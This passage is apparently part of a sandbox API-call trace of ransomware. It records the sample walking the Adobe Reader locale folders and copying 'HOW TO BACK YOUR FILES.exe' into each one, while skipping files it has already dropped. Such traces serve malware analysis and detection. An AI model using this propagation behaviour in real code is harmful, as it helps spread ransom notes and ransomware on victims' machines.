	[0058.559] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3af97c50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3af97c50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0058.559] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.559] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.559] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR"
	[0058.559] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfa30 | out: hHeap=0x580000) returned 1
	[0058.559] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0058.559] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR") returned 60
	[0058.559] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR"
	[0058.559] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.559] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.565] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.565] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3af97c50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3af97c50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0058.565] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.565] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.566] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services"
	[0058.566] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0058.566] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0058.566] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services") returned 69
	[0058.566] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services"
	[0058.566] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.566] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\services\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.571] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.571] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3afbddb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3afbddb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0058.571] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.571] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.571] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR"
	[0058.571] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf920 | out: hHeap=0x580000) returned 1
	[0058.572] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0058.572] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR") returned 60
	[0058.572] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR"
	[0058.572] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.572] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.577] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.577] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3afbddb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3afbddb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0058.577] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.577] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.577] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services"
	[0058.577] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0058.577] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0058.578] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services") returned 69
	[0058.578] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services"
	[0058.578] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.578] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\services\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.584] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.584] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3afe3f10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3afe3f10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0058.584] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.584] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.584] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI"
	[0058.584] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0058.585] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0058.585] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI") returned 60
	[0058.585] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI"
	[0058.585] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.585] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.593] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.593] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3afe3f10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3afe3f10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0058.593] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.593] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.594] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services"
	[0058.594] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0058.594] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0058.594] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services") returned 69
	[0058.594] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services"
	[0058.594] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.594] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\services\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.599] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.599] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3b00a070, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3b00a070, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0058.600] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.600] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.600] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES"
	[0058.600] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf810 | out: hHeap=0x580000) returned 1
	[0058.600] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7bc8 | out: hHeap=0x580000) returned 1
	[0058.600] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES") returned 60
	[0058.600] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES"
	[0058.600] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.600] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.605] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.606] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3b00a070, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3b00a070, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0058.606] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.606] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.606] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services"
	[0058.606] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0058.606] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7bc8 | out: hHeap=0x580000) returned 1
	[0058.606] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services") returned 69
	[0058.606] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services"
	[0058.606] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.606] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\services\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.613] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.613] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3b00a070, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3b00a070, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0058.614] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.614] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.614] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES"
	[0058.614] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf678 | out: hHeap=0x580000) returned 1
	[0058.614] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b88 | out: hHeap=0x580000) returned 1
	[0058.614] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES") returned 60
	[0058.614] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES"
	[0058.614] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.614] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.620] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.620] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3b0301d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3b0301d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0058.620] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.620] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.620] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services"
	[0058.620] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0058.620] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b88 | out: hHeap=0x580000) returned 1
	[0058.620] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services") returned 69
	[0058.620] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services"
	[0058.621] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.621] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\services\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.627] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.627] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3b0301d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3b0301d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0058.627] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.627] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.627] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE"
	[0058.627] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0058.627] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0058.627] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE") returned 60
